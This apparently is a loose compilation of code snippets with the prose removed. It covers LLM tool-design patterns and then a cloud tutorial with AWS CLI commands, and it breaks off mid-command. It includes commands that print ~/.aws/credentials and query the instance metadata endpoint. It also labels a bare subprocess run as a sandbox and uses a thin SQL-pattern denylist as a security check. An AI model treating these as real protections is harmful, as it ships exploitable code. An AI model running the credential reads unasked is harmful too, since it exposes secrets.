            "suggestion": "Please use a valid stock ticker (e.g., AAPL, GOOGL)"
        }

    except APIError as e:
        return {
            "success": False,
            "error": "Unable to fetch stock data",
            "details": str(e)
        }

    except Exception as e:
        # Log unexpected errors
        logger.error(f"Unexpected error in get_stock_price: {e}")
        return {
            "success": False,
            "error": "An unexpected error occurred"
        }

# Group related tools
class WeatherTools:
    """Collection of weather-related tools."""

    @staticmethod
    def get_current_weather(location: str) -> dict:
        """Get current weather conditions."""
        pass

    @staticmethod
    def get_forecast(location: str, days: int = 5) -> dict:
        """Get weather forecast."""
        pass

    @staticmethod
    def get_weather_alerts(location: str) -> dict:
        """Get active weather alerts."""
        pass

# Register tools
tools = [
    create_tool_definition(WeatherTools.get_current_weather),
    create_tool_definition(WeatherTools.get_forecast),
    create_tool_definition(WeatherTools.get_weather_alerts)
]

# ❌ Bad: Not idempotent
def create_user(username: str, email: str):
    """Creates a user - calling twice creates duplicates!"""
    user_id = generate_id()
    db.insert({"id": user_id, "username": username, "email": email})
    return {"user_id": user_id}

# ✅ Good: Idempotent
def create_user(username: str, email: str):
    """Creates a user or returns existing if already exists."""
    existing = db.find_one({"username": username})
    if existing:
        return {
            "user_id": existing.id,
            "created": False,
            "message": "User already exists"
        }

    user_id = generate_id()
    db.insert({"id": user_id, "username": username, "email": email})
    return {
        "user_id": user_id,
        "created": True,
        "message": "User created successfully"
    }

# ❌ Bad: Unstructured string
def get_weather(location: str) -> str:
    return "It's 72 degrees and sunny in San Francisco"

# ✅ Good: Structured data
def get_weather(location: str) -> dict:
    return {
        "location": "San Francisco, CA",
        "temperature": 72,
        "temperature_unit": "fahrenheit",
        "conditions": "sunny",
        "humidity": 65,
        "wind_speed": 8,
        "wind_unit": "mph",
        "timestamp": "2025-01-15T14:30:00Z"
    }

# ❌ Bad: Too many similar tools
tools = [
    "get_user_by_id",
    "get_user_by_email",
    "get_user_by_username",
    "get_user_by_phone",
    # ... 10 more variations
]

# ✅ Good: Single flexible tool
tools = [
    {
        "name": "get_user",
        "description": "Get user by ID, email, username, or phone",
        "parameters": {
            "type": "object",
            "properties": {
                "user_id": {"type": "string"},
                "email": {"type": "string"},
                "username": {"type": "string"},
                "phone": {"type": "string"}
            }
        }
    }
]

# ❌ Bad: No limits
{
    "name": "send_emails",
    "parameters": {
        "recipients": {
            "type": "array",
            "items": {"type": "string"}
        }
    }
}

# ✅ Good: With constraints
{
    "name": "send_emails",
    "parameters": {
        "recipients": {
            "type": "array",
            "items": {"type": "string"},
            "maxItems": 50,  # Prevent abuse
            "minItems": 1
        }
    }
}

# ❌ Bad: Ambiguous response
def delete_file(path: str):
    os.remove(path)
    return "Done"

# ✅ Good: Clear status
def delete_file(path: str) -> dict:
    try:
        if not os.path.exists(path):
            return {
                "success": False,
                "error": "File not found",
                "path": path
            }

        os.remove(path)
        return {
            "success": True,
            "message": "File deleted successfully",
            "path": path
        }
    except PermissionError:
        return {
            "success": False,
            "error": "Permission denied",
            "path": path
        }

# ❌ Bad: Blocking on long operations
def generate_report(data: dict) -> dict:
    result = expensive_computation(data)  # Takes 30 seconds
    return result

# ✅ Good: Async with status checking
def generate_report(data: dict) -> dict:
    job_id = start_background_job(expensive_computation, data)
    return {
        "job_id": job_id,
        "status": "processing",
        "message": "Report generation started",
        "check_status_with": "get_job_status"
    }

def get_job_status(job_id: str) -> dict:
    job = get_job(job_id)
    return {
        "job_id": job_id,
        "status": job.status,  # "processing", "completed", "failed"
        "progress": job.progress,
        "result": job.result if job.status == "completed" else None
    }

# ❌ Bad: Minimal context
def book_flight(destination: str, date: str) -> dict:
    return {"confirmation": "ABC123"}

# ✅ Good: Rich context
def book_flight(destination: str, date: str, passengers: int) -> dict:
    booking = create_booking(destination, date, passengers)
    return {
        "confirmation_code": "ABC123",
        "destination": destination,
        "departure_date": date,
        "passengers": passengers,
        "total_price": 850.00,
        "currency": "USD",
        "booking_time": "2025-01-15T10:30:00Z",
        "cancellation_policy": "Free cancellation until 24h before departure",
        "next_steps": "Check-in opens 24 hours before departure"
    }

# Complex task requiring multiple tools
user_query = "Find the cheapest laptop with at least 16GB RAM and notify me on Slack"

# Step 1: Search products
search_results = search_products(category="laptop", min_ram="16GB")

# Step 2: Sort by price
cheapest = min(search_results, key=lambda x: x['price'])

# Step 3: Send notification
send_slack_message(
    channel="@user",
    message=f"Found {cheapest['name']} for ${cheapest['price']}"
)

def smart_search(query: str, search_type: str = "auto") -> dict:
    """Intelligently route to appropriate search tool."""

    if search_type == "auto":
        # Let model decide which search to use
        if "latest" in query or "recent" in query or "today" in query:
            return web_search(query)
        elif is_factual_question(query):
            return knowledge_base_search(query)
        else:
            return general_search(query)
    else:
        # Explicit search type
        search_functions = {
            "web": web_search,
            "knowledge_base": knowledge_base_search,
            "code": code_search
        }
        return search_functions[search_type](query)

from functools import lru_cache
import hashlib

class ToolExecutor:
    def __init__(self):
        self.cache = {}

    def execute_with_cache(self, tool_name: str, parameters: dict) -> dict:
        """Execute tool with caching for identical calls."""

        # Create cache key
        cache_key = hashlib.md5(
            f"{tool_name}:{json.dumps(parameters, sort_keys=True)}".encode()
        ).hexdigest()

        # Check cache
        if cache_key in self.cache:
            return {
                **self.cache[cache_key],
                "cached": True
            }

        # Execute tool
        result = self.execute_tool(tool_name, parameters)

        # Cache result (if cacheable)
        if self.is_cacheable(tool_name):
            self.cache[cache_key] = result

        return {
            **result,
            "cached": False
        }

# Compose simple tools into complex workflows
class CompositeTools:
    """Tools that combine multiple operations."""

    @staticmethod
    def research_and_summarize(topic: str) -> dict:
        """Research a topic and provide summary."""

        # Step 1: Search
        search_results = web_search(topic, limit=10)

        # Step 2: Extract content
        articles = [fetch_article(url) for url in search_results]

        # Step 3: Summarize
        combined_text = "\n\n".join(articles)
        summary = summarize_text(combined_text, max_length=500)

        # Step 4: Extract key points
        key_points = extract_key_points(combined_text)

        return {
            "topic": topic,
            "summary": summary,
            "key_points": key_points,
            "sources": search_results,
            "article_count": len(articles)
        }

def robust_tool_execution(tool_name: str, parameters: dict) -> dict:
    """Execute tool with fallback strategies."""

    try:
        # Primary tool
        return execute_tool(tool_name, parameters)

    except APIRateLimitError:
        # Fallback 1: Use cached data
        cached = get_cached_result(tool_name, parameters)
        if cached and not is_stale(cached):
            return {
                **cached,
                "source": "cache",
                "warning": "Using cached data due to rate limit"
            }

        # Fallback 2: Use alternative API
        alt_tool = get_alternative_tool(tool_name)
        if alt_tool:
            return execute_tool(alt_tool, parameters)

        # Fallback 3: Return error with context
        return {
            "success": False,
            "error": "Rate limit exceeded",
            "suggestion": "Please try again in a few minutes"
        }

    except ToolTimeoutError:
        # Fallback: Start async job
        job_id = queue_tool_execution(tool_name, parameters)
        return {
            "success": False,
            "async_job_id": job_id,
            "message": "Operation queued due to timeout",
            "check_with": "get_job_status"
        }

def execute_sql_query(query: str) -> dict:
    """Execute SQL query with security checks."""

    # Whitelist allowed operations
    allowed_operations = ['SELECT']
    operation = query.strip().split()[0].upper()

    if operation not in allowed_operations:
        return {
            "success": False,
            "error": f"Operation {operation} not allowed. Only SELECT queries permitted."
        }

    # Check for dangerous patterns
    dangerous_patterns = [
        r';\s*DROP',
        r';\s*DELETE',
        r';\s*UPDATE',
        r'--',
        r'/\*.*\*/'
    ]

    for pattern in dangerous_patterns:
        if re.search(pattern, query, re.IGNORECASE):
            return {
                "success": False,
                "error": "Query contains potentially dangerous pattern"
            }

    # Execute with parameterization
    return execute_safe_query(query)

def delete_document(document_id: str, user_id: str) -> dict:
    """Delete document with authorization."""

    # Check if document exists
    document = get_document(document_id)
    if not document:
        return {"success": False, "error": "Document not found"}

    # Check ownership
    if document.owner_id != user_id:
        # Check if user has permission
        if not has_permission(user_id, document_id, "delete"):
            return {
                "success": False,
                "error": "Unauthorized: You don't have permission to delete this document"
            }

    # Log the action
    audit_log(action="delete_document", user_id=user_id, document_id=document_id)

    # Perform deletion
    delete(document)
    return {"success": True, "message": "Document deleted"}

from collections import defaultdict
from datetime import datetime, timedelta

class RateLimiter:
    def __init__(self, max_calls: int, time_window: int):
        self.max_calls = max_calls
        self.time_window = timedelta(seconds=time_window)
        self.calls = defaultdict(list)

    def allow_call(self, user_id: str, tool_name: str) -> tuple[bool, str]:
        """Check if tool call is allowed under rate limits."""

        key = f"{user_id}:{tool_name}"
        now = datetime.now()

        # Remove old calls outside time window
        self.calls[key] = [
            call_time for call_time in self.calls[key]
            if now - call_time < self.time_window
        ]

        # Check limit
        if len(self.calls[key]) >= self.max_calls:
            oldest_call = min(self.calls[key])
            retry_after = (oldest_call + self.time_window - now).total_seconds()
            return False, f"Rate limit exceeded. Retry after {retry_after:.0f} seconds"

        # Record this call
        self.calls[key].append(now)
        return True, ""

# Usage
rate_limiter = RateLimiter(max_calls=10, time_window=60)

def execute_tool_with_rate_limit(tool_name: str, user_id: str, parameters: dict):
    allowed, message = rate_limiter.allow_call(user_id, tool_name)
    if not allowed:
        return {"success": False, "error": message}

    return execute_tool(tool_name, parameters)

import subprocess
import tempfile
import os

def execute_code_safely(code: str, language: str = "python") -> dict:
    """Execute user code in sandboxed environment."""

    # Create temporary file
    with tempfile.NamedTemporaryFile(mode='w', suffix=f'.{language}', delete=False) as f:
        f.write(code)
        temp_file = f.name

    try:
        # Execute with restrictions
        result = subprocess.run(
            ['python', temp_file],
            capture_output=True,
            text=True,
            timeout=5,  # Timeout after 5 seconds
            env={'PATH': '/usr/bin'},  # Restricted environment
        )

        return {
            "success": result.returncode == 0,
            "stdout": result.stdout,
            "stderr": result.stderr,
            "returncode": result.returncode
        }

    except subprocess.TimeoutExpired:
        return {
            "success": False,
            "error": "Code execution timed out (5s limit)"
        }

    finally:
        # Cleanup
        os.unlink(temp_file)

import asyncio
from concurrent.futures import ThreadPoolExecutor

async def execute_tools_parallel(tool_calls: list) -> list:
    """Execute multiple independent tool calls in parallel."""

    async def execute_single(tool_call):
        loop = asyncio.get_event_loop()
        with ThreadPoolExecutor() as executor:
            result = await loop.run_in_executor(
                executor,
                execute_tool,
                tool_call['name'],
                tool_call['parameters']
            )
        return result

    # Execute all in parallel
    results = await asyncio.gather(*[execute_single(tc) for tc in tool_calls])
    return results

# Usage
tool_calls = [
    {"name": "get_weather", "parameters": {"location": "NYC"}},
    {"name": "get_weather", "parameters": {"location": "LA"}},
    {"name": "get_weather", "parameters": {"location": "Chicago"}}
]

results = asyncio.run(execute_tools_parallel(tool_calls))

class LazyToolRegistry:
    """Load tool implementations only when needed."""

    def __init__(self):
        self._tools = {}
        self._tool_modules = {
            'weather': 'tools.weather',
            'database': 'tools.database',
            'email': 'tools.email'
        }

    def get_tool(self, tool_name: str):
        """Lazy load tool implementation."""
        if tool_name not in self._tools:
            module_path = self._tool_modules.get(tool_name)
            if not module_path:
                raise ValueError(f"Unknown tool: {tool_name}")

            # Import module only when needed
            module = __import__(module_path, fromlist=[''])
            self._tools[tool_name] = module

        return self._tools[tool_name]

def stream_large_result(query: str):
    """Stream results instead of waiting for complete response."""

    yield {"status": "starting", "message": "Searching database..."}

    results = []
    for batch in search_database_batches(query):
        results.extend(batch)
        yield {
            "status": "progress",
            "results_so_far": len(results),
            "latest_batch": batch
        }

    yield {
        "status": "complete",
        "total_results": len(results),
        "results": results
    }

import pytest

def test_calculator_tool():
    """Test calculator tool with various inputs."""

    # Test basic calculation
    result = calculate("2 + 2")
    assert result == {"result": 4, "success": True}

    # Test division
    result = calculate("10 / 2")
    assert result == {"result": 5.0, "success": True}

    # Test division by zero
    result = calculate("10 / 0")
    assert result["success"] == False
    assert "division by zero" in result["error"].lower()

    # Test invalid expression
    result = calculate("invalid")
    assert result["success"] == False

def test_multi_tool_workflow():
    """Test workflow using multiple tools."""

    # Mock LLM responses
    with mock.patch('llm.generate') as mock_llm:
        # First call: LLM decides to use weather tool
        mock_llm.return_value = {
            "tool_call": {
                "name": "get_weather",
                "parameters": {"location": "NYC"}
            }
        }

        # Execute workflow
        result = execute_agent_workflow("What should I wear in NYC today?")

        # Verify tool was called
        assert "weather" in result.tools_used
        assert "NYC" in result.final_response

def test_tool_error_handling():
    """Test that errors are handled gracefully."""

    with mock.patch('tools.api.call') as mock_api:
        # Simulate API failure
        mock_api.side_effect = APIError("Service unavailable")

        result = execute_tool("get_stock_price", {"ticker": "AAPL"})

        assert result["success"] == False
        assert "error" in result

class MockToolExecutor:
    """Mock tool executor for testing."""

    def __init__(self):
        self.calls = []
        self.mock_responses = {}

    def set_mock_response(self, tool_name: str, response: dict):
        """Set predetermined response for a tool."""
        self.mock_responses[tool_name] = response

    def execute(self, tool_name: str, parameters: dict) -> dict:
        """Execute tool (mocked)."""
        self.calls.append({
            "tool": tool_name,
            "parameters": parameters,
            "timestamp": datetime.now()
        })

        return self.mock_responses.get(tool_name, {"success": True})

    def verify_called(self, tool_name: str, times: int = None):
        """Verify tool was called."""
        calls = [c for c in self.calls if c["tool"] == tool_name]
        if times is not None:
            assert len(calls) == times, f"Expected {times} calls, got {len(calls)}"
        return len(calls) > 0

tools = [
    {
        "name": "search_knowledge_base",
        "description": "Search help articles and documentation",
        "parameters": {
            "query": {"type": "string"},
            "category": {"type": "string", "enum": ["billing", "technical", "account"]}
        }
    },
    {
        "name": "get_order_status",
        "description": "Get status of customer order",
        "parameters": {
            "order_id": {"type": "string"}
        }
    },
    {
        "name": "create_support_ticket",
        "description": "Create ticket for complex issues requiring human support",
        "parameters": {
            "subject": {"type": "string"},
            "description": {"type": "string"},
            "priority": {"type": "string", "enum": ["low", "medium", "high"]}
        }
    }
]

# User: "Where's my order #12345?"
# Agent uses: get_order_status(order_id="12345")
# Agent responds with order tracking information

tools = [
    {
        "name": "query_database",
        "description": "Execute SQL query on analytics database",
        "parameters": {
            "query": {"type": "string"},
            "database": {"type": "string", "enum": ["sales", "users", "products"]}
        }
    },
    {
        "name": "create_visualization",
        "description": "Create chart from data",
        "parameters": {
            "chart_type": {"type": "string", "enum": ["line", "bar", "pie"]},
            "data": {"type": "array"},
            "title": {"type": "string"}
        }
    },
    {
        "name": "calculate_statistics",
        "description": "Calculate statistical measures",
        "parameters": {
            "data": {"type": "array"},
            "metrics": {"type": "array", "items": {"enum": ["mean", "median", "std_dev"]}}
        }
    }
]

# User: "Show me sales trends for the last quarter"
# 1. Agent uses: query_database to get sales data
# 2. Agent uses: calculate_statistics to analyze
# 3. Agent uses: create_visualization to create chart

tools = [
    {
        "name": "get_file_content",
        "description": "Read file from repository",
        "parameters": {
            "file_path": {"type": "string"}
        }
    },
    {
        "name": "run_linter",
        "description": "Run code linter",
        "parameters": {
            "file_path": {"type": "string"},
            "linter": {"type": "string", "enum": ["eslint", "pylint", "rustfmt"]}
        }
    },
    {
        "name": "run_tests",
        "description": "Execute test suite",
        "parameters": {
            "test_path": {"type": "string"}
        }
    },
    {
        "name": "create_review_comment",
        "description": "Add review comment to PR",
        "parameters": {
            "file": {"type": "string"},
            "line": {"type": "number"},
            "comment": {"type": "string"}
        }
    }
]

# Workflow: Review pull request
# 1. get_file_content for changed files
# 2. run_linter to check code style
# 3. run_tests to verify functionality
# 4. create_review_comment for issues found

┌─────────────────────────────────────────────────────────────┐
│                     Cloud Service Models                     │
├─────────────────────────────────────────────────────────────┤
│                                                               │
│  IaaS (Infrastructure as a Service)                          │
│  ├─ You Manage: Applications, Data, Runtime, Middleware, OS │
│  └─ Provider Manages: Virtualization, Servers, Storage, Net │
│                                                               │
│  PaaS (Platform as a Service)                                │
│  ├─ You Manage: Applications, Data                          │
│  └─ Provider Manages: Runtime, Middleware, OS, Infra        │
│                                                               │
│  SaaS (Software as a Service)                                │
│  ├─ You Manage: Data/Configuration                          │
│  └─ Provider Manages: Everything else                       │
│                                                               │
│  FaaS (Function as a Service / Serverless)                   │
│  ├─ You Manage: Code/Functions                              │
│  └─ Provider Manages: Everything else + Auto-scaling        │
└─────────────────────────────────────────────────────────────┘

┌────────────────┬──────────────┬──────────────┬──────────────┐
│ Feature        │ AWS          │ Azure        │ GCP          │
├────────────────┼──────────────┼──────────────┼──────────────┤
│ Market Share   │ ~32%         │ ~23%         │ ~10%         │
│ Launch Year    │ 2006         │ 2010         │ 2008         │
│ Regions        │ 30+          │ 60+          │ 35+          │
│ Services       │ 200+         │ 200+         │ 100+         │
│ Strengths      │ Maturity     │ Enterprise   │ ML/Data      │
│                │ Breadth      │ Integration  │ Analytics    │
│ Best For       │ Startups     │ .NET/Windows │ Big Data     │
│                │ Flexibility  │ Hybrid       │ ML/AI        │
└────────────────┴──────────────┴──────────────┴──────────────┘

Service Type          AWS                Azure              GCP
─────────────────────────────────────────────────────────────
Virtual Machines      EC2                Virtual Machines   Compute Engine
Containers            ECS/EKS/Fargate    Container Inst.    GKE/Cloud Run
Serverless           Lambda              Functions          Cloud Functions
Auto Scaling         Auto Scaling        VM Scale Sets      Autoscaler

Service Type          AWS                Azure              GCP
─────────────────────────────────────────────────────────────
Object Storage       S3                  Blob Storage       Cloud Storage
Block Storage        EBS                 Disk Storage       Persistent Disk
File Storage         EFS                 Files              Filestore
Archive              Glacier             Archive Storage    Archive Storage

Service Type          AWS                Azure              GCP
─────────────────────────────────────────────────────────────
Relational DB        RDS                 SQL Database       Cloud SQL
NoSQL Document       DocumentDB          Cosmos DB          Firestore
NoSQL Key-Value      DynamoDB            Table Storage      Datastore
In-Memory Cache      ElastiCache         Cache for Redis    Memorystore
Data Warehouse       Redshift            Synapse Analytics  BigQuery

Service Type          AWS                Azure              GCP
─────────────────────────────────────────────────────────────
Virtual Network      VPC                 Virtual Network    VPC
Load Balancer        ELB/ALB             Load Balancer      Cloud Load Bal.
CDN                  CloudFront          CDN                Cloud CDN
DNS                  Route 53            DNS                Cloud DNS
VPN                  VPN Gateway         VPN Gateway        Cloud VPN

                         ┌─────────────────┐
                         │  Load Balancer  │
                         └────────┬────────┘
                                  │
              ┌───────────────────┼───────────────────┐
              │                   │                   │
         ┌────▼────┐         ┌────▼────┐       ┌────▼────┐
         │  Web    │         │  Web    │       │  Web    │
         │ Server  │         │ Server  │       │ Server  │
         └────┬────┘         └────┬────┘       └────┬────┘
              │                   │                  │
              └───────────────────┼──────────────────┘
                                  │
                         ┌────────▼────────┐
                         │  App Tier       │
                         │  (Business      │
                         │   Logic)        │
                         └────────┬────────┘
                                  │
                         ┌────────▼────────┐
                         │  Database Tier  │
                         │  (Primary +     │
                         │   Replica)      │
                         └─────────────────┘

┌─────────┐    ┌──────────────────────────────────────────┐
│ API     │───▶│           API Gateway                    │
│ Client  │    └──────────┬───────────────────────────────┘
└─────────┘               │
                          │
        ┌─────────────────┼─────────────────┬─────────────┐
        │                 │                 │             │
   ┌────▼─────┐     ┌────▼─────┐     ┌────▼─────┐  ┌────▼─────┐
   │ User     │     │ Product  │     │ Order    │  │ Payment  │
   │ Service  │     │ Service  │     │ Service  │  │ Service  │
   └────┬─────┘     └────┬─────┘     └────┬─────┘  └────┬─────┘
        │                │                │             │
   ┌────▼─────┐     ┌────▼─────┐     ┌────▼─────┐  ┌────▼─────┐
   │ User DB  │     │Product DB│     │ Order DB │  │Payment DB│
   └──────────┘     └──────────┘     └──────────┘  └──────────┘

┌──────────┐      ┌──────────────┐      ┌──────────────┐
│ Producer │─────▶│ Message      │─────▶│  Consumer 1  │
│ Service  │      │ Queue/Topic  │      └──────────────┘
└──────────┘      │ (SQS/SNS/    │      ┌──────────────┐
                  │  EventBridge)│─────▶│  Consumer 2  │
                  └──────────────┘      └──────────────┘
                         │              ┌──────────────┐
                         └─────────────▶│  Consumer 3  │
                                        └──────────────┘

┌─────────┐    ┌──────────┐    ┌─────────────┐    ┌──────────┐
│ Client  │───▶│ API      │───▶│  Lambda     │───▶│ Database │
│         │    │ Gateway  │    │  Functions  │    │ (DynamoDB│
└─────────┘    └──────────┘    └─────────────┘    │  /RDS)   │
                                      │            └──────────┘
                                      │
                                      ▼
                               ┌─────────────┐
                               │   Storage   │
                               │    (S3)     │
                               └─────────────┘

┌──────────────────────────────────────────────────────────┐
│ Cost Optimization Best Practices                         │
├──────────────────────────────────────────────────────────┤
│ 1. Right-sizing                                          │
│    └─ Match instance types to actual needs              │
│                                                           │
│ 2. Auto-scaling                                          │
│    └─ Scale resources based on demand                   │
│                                                           │
│ 3. Reserved Instances                                    │
│    └─ Commit to predictable workloads                   │
│                                                           │
│ 4. Spot Instances                                        │
│    └─ Use for fault-tolerant workloads                  │
│                                                           │
│ 5. Storage Lifecycle Policies                           │
│    └─ Move data to cheaper tiers over time              │
│                                                           │
│ 6. Delete Unused Resources                               │
│    └─ Regular audits and cleanup                        │
│                                                           │
│ 7. Use Serverless                                        │
│    └─ Pay only for execution time                       │
│                                                           │
│ 8. Monitor and Alert                                     │
│    └─ Set up cost budgets and alerts                    │
└──────────────────────────────────────────────────────────┘

Service              Configuration           Monthly Cost (Approx)
─────────────────────────────────────────────────────────────────
EC2 (t3.medium)      730 hours on-demand    $30
EBS (100 GB)         General Purpose SSD    $10
RDS (db.t3.small)    PostgreSQL, 730 hours  $25
S3 (100 GB)          Standard storage       $2.30
Data Transfer        50 GB outbound         $4.50
                                            ─────────
                     Total:                 ~$72/month

Best Practices:
├─ Use principle of least privilege
├─ Enable Multi-Factor Authentication (MFA)
├─ Rotate credentials regularly
├─ Use roles instead of access keys when possible
├─ Implement password policies
└─ Audit permissions regularly

┌─────────────────────────────────────────────┐
│              VPC Security                    │
├─────────────────────────────────────────────┤
│                                              │
│  Public Subnet                               │
│  ┌──────────────────────────────────┐       │
│  │  Load Balancer                   │       │
│  │  (Security Group: HTTP/HTTPS)    │       │
│  └──────────────┬───────────────────┘       │
│                 │                            │
│  Private Subnet │                            │
│  ┌──────────────▼───────────────┐           │
│  │  Application Servers         │           │
│  │  (SG: From LB only)          │           │
│  └──────────────┬───────────────┘           │
│                 │                            │
│  Database Subnet│                            │
│  ┌──────────────▼───────────────┐           │
│  │  Database                    │           │
│  │  (SG: From App only)         │           │
│  └──────────────────────────────┘           │
└─────────────────────────────────────────────┘

Security Monitoring Stack:
├─ CloudWatch/Azure Monitor - Metrics and logs
├─ CloudTrail/Activity Log - API call auditing
├─ GuardDuty/Defender - Threat detection
├─ Security Hub/Security Center - Compliance
└─ SIEM Integration - Centralized monitoring

Factor                Weight    AWS    Azure   GCP
─────────────────────────────────────────────────
Existing Ecosystem    High      ★★★★   ★★★★★   ★★★
Services Breadth      High      ★★★★★  ★★★★★   ★★★★
Pricing              Medium     ★★★★   ★★★★    ★★★★★
Documentation        Medium     ★★★★★  ★★★★    ★★★★
Support              Medium     ★★★★   ★★★★★   ★★★
ML/AI Capabilities   Varies     ★★★★   ★★★★    ★★★★★
Kubernetes          Varies     ★★★★   ★★★★    ★★★★★
Global Reach        High       ★★★★★  ★★★★★   ★★★★

1. Fundamentals (1-2 weeks)
   ├─ Cloud concepts and terminology
   ├─ Choose a primary provider
   └─ Complete free tier tutorial

2. Core Services (2-4 weeks)
   ├─ Compute (EC2/VMs)
   ├─ Storage (S3/Blob)
   ├─ Databases (RDS/SQL)
   └─ Networking (VPC)

3. Advanced Topics (4-8 weeks)
   ├─ Security and IAM
   ├─ Monitoring and logging
   ├─ CI/CD pipelines
   └─ Infrastructure as Code

4. Specialization (Ongoing)
   ├─ Serverless
   ├─ Containers and Kubernetes
   ├─ ML/AI services
   └─ Cost optimization

curl https://raw.githubusercontent.com/GoogleCloudPlatform/compute-gpu-installation/main/linux/install_gpu_driver.py --output install_gpu_driver.py 

#if required Change driver version in the py file from (DRIVER_VERSION = "525.125.06") to	550.54.15
sed -i 's/525.125.06/550.54.15/' install_gpu_driver.py

#run the script
sudo apt install python3-venv python3-dev
sudo python3 install_gpu_driver.py

#verify the installation
nvidia-smi

#install pytorch
pip3 install torch torchvision torchaudio

#install cuda toolkit
sudo apt install nvidia-cuda-toolkit
nvcc --version

sudo fallocate -l 32G /swapfile
sudo chmod 600 /swapfile
sudo mkswap /swapfile
sudo swapon /swapfile

┌─────────────────────────────────────────────┐
│         AWS Organization (Root)              │
├─────────────────────────────────────────────┤
│                                              │
│  ┌──────────────┐    ┌──────────────┐      │
│  │  Production  │    │  Development │      │
│  │  OU          │    │  OU          │      │
│  ├──────────────┤    ├──────────────┤      │
│  │ Account 1    │    │ Account 3    │      │
│  │ Account 2    │    │ Account 4    │      │
│  └──────────────┘    └──────────────┘      │
│                                              │
│  ┌──────────────┐    ┌──────────────┐      │
│  │  Security    │    │  Sandbox     │      │
│  │  OU          │    │  OU          │      │
│  └──────────────┘    └──────────────┘      │
└─────────────────────────────────────────────┘

Region
  └─ Availability Zones (AZs)
      └─ Data Centers
          └─ Edge Locations (CloudFront CDN)

Factor              Consideration
──────────────────────────────────────────────
Latency             Distance to users
Compliance          Data residency laws
Services            Not all services in all regions
Cost                Pricing varies by region

# Install AWS CLI v2 (Linux/macOS)
curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
unzip awscliv2.zip
sudo ./aws/install

# Verify installation
aws --version

# Configure AWS CLI
aws configure
# Enter:
# - AWS Access Key ID
# - AWS Secret Access Key
# - Default region (e.g., us-east-1)
# - Default output format (json/yaml/text/table)

# Alternative: Use environment variables
export AWS_ACCESS_KEY_ID="your-access-key"
export AWS_SECRET_ACCESS_KEY="your-secret-key"
export AWS_DEFAULT_REGION="us-east-1"

# Or use AWS profiles
aws configure --profile production
aws s3 ls --profile production

# View configuration
cat ~/.aws/config
# [default]
# region = us-east-1
# output = json
#
# [profile production]
# region = us-west-2
# output = yaml

cat ~/.aws/credentials
# [default]
# aws_access_key_id = AKIAIOSFODNN7EXAMPLE
# aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
#
# [production]
# aws_access_key_id = AKIAI44QH8DHBEXAMPLE
# aws_secret_access_key = je7MtGbClwBF/2Zp9Utk/h3yCo8nvbEXAMPLEKEY

# Get caller identity
aws sts get-caller-identity

# List all regions
aws ec2 describe-regions --output table

# List available services
aws help

# Get help for specific service
aws ec2 help
aws s3 help

Category        Type         vCPU    Memory    Use Case
──────────────────────────────────────────────────────────────
General         t3.micro     2       1 GB      Development
Purpose         t3.medium    2       4 GB      Web servers
                m5.large     2       8 GB      Applications

Compute         c5.large     2       4 GB      Batch processing
Optimized       c5.xlarge    4       8 GB      High-performance

Memory          r5.large     2       16 GB     Databases
Optimized       r5.xlarge    4       32 GB     Caching

Storage         i3.large     2       15.25 GB  NoSQL databases
Optimized       d2.xlarge    4       30.5 GB   Data warehousing

GPU             p3.2xlarge   8       61 GB     ML training
Instances       g4dn.xlarge  4       16 GB     ML inference

Model               Discount    Commitment    Use Case
─────────────────────────────────────────────────────────────
On-Demand           Baseline    None          Unpredictable
Reserved Instance   Up to 75%   1-3 years     Steady state
Spot Instance       Up to 90%   None          Fault-tolerant
Savings Plan        Up to 72%   1-3 years     Flexible

# List all instances
aws ec2 describe-instances

# List instances with specific state
aws ec2 describe-instances \
  --filters "Name=instance-state-name,Values=running" \
  --query 'Reservations[].Instances[].[InstanceId,InstanceType,State.Name,PublicIpAddress]' \
  --output table

# Launch an instance
aws ec2 run-instances \
  --image-id ami-0c55b159cbfafe1f0 \
  --instance-type t3.micro \
  --key-name my-key-pair \
  --security-group-ids sg-0123456789abcdef0 \
  --subnet-id subnet-0123456789abcdef0 \
  --tag-specifications 'ResourceType=instance,Tags=[{Key=Name,Value=MyWebServer}]'

# Stop an instance
aws ec2 stop-instances --instance-ids i-1234567890abcdef0

# Start an instance
aws ec2 start-instances --instance-ids i-1234567890abcdef0

# Terminate an instance
aws ec2 terminate-instances --instance-ids i-1234567890abcdef0

# Create AMI from instance
aws ec2 create-image \
  --instance-id i-1234567890abcdef0 \
  --name "MyWebServer-Backup-$(date +%Y%m%d)" \
  --description "Backup of MyWebServer"

# List AMIs
aws ec2 describe-images --owners self

# Get instance metadata (from within instance)
curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/instance-id
curl http://169.254.169.254/latest/meta-data/public-ipv4

#!/bin/bash
# User data script for EC2 instance initialization

# Update system
yum update -y

# Install Apache web server
yum install -y httpd

# Start Apache
systemctl start httpd
systemctl enable httpd

# Create simple web page
echo "<h1>Hello from EC2!</h1>" > /var/www/html/index.html

# Install CloudWatch agent
wget https://s3.amazonaws.com/amazoncloudwatch-agent/amazon_linux/amd64/latest/amazon-cloudwatch-agent.rpm
rpm -U ./amazon-cloudwatch-agent.rpm

┌─────────────────────────────────────────────────────┐
│              Application Load Balancer              │
└──────────────────────┬──────────────────────────────┘
                       │
    ┌──────────────────┼──────────────────┐
    │                  │                  │
┌───▼────┐        ┌───▼────┐        ┌───▼────┐
│  EC2   │        │  EC2   │        │  EC2   │
│ (Min)  │        │ (Curr) │        │ (Max)  │
└────────┘        └────────┘        └────────┘
    │                  │                  │
    └──────────────────┼──────────────────┘
                       │
            ┌──────────▼──────────┐
            │  Auto Scaling Group │
            │                     │
            │  Min: 2             │
            │  Desired: 3         │
            │  Max: 10            │
            │                     │
            │  Scale Up: CPU>70%  │
            │  Scale Down: CPU<30%│
            └─────────────────────┘

# Create launch template
aws ec2 create-launch-template \
  --launch-template-name my-template \
  --version-description "Initial version" \
  --launch-template-data '{
    "ImageId": "ami-0c55b159cbfafe1f0",
    "InstanceType": "t3.micro",
    "KeyName": "my-key-pair",
    "SecurityGroupIds": ["sg-0123456789abcdef0"]
  }'

# Create Auto Scaling group
aws autoscaling create-auto-scaling-group \
  --auto-scaling-group-name my-asg \
  --launch-template "LaunchTemplateName=my-template,Version=1" \
  --min-size 2 \
  --max-size 10 \
  --desired-capacity 3 \
  --vpc-zone-identifier "subnet-12345,subnet-67890" \
  --target-group-arns arn:aws:elasticloadbalancing:region:account-id:targetgroup/my-targets/73e2d6bc24d8a067 \
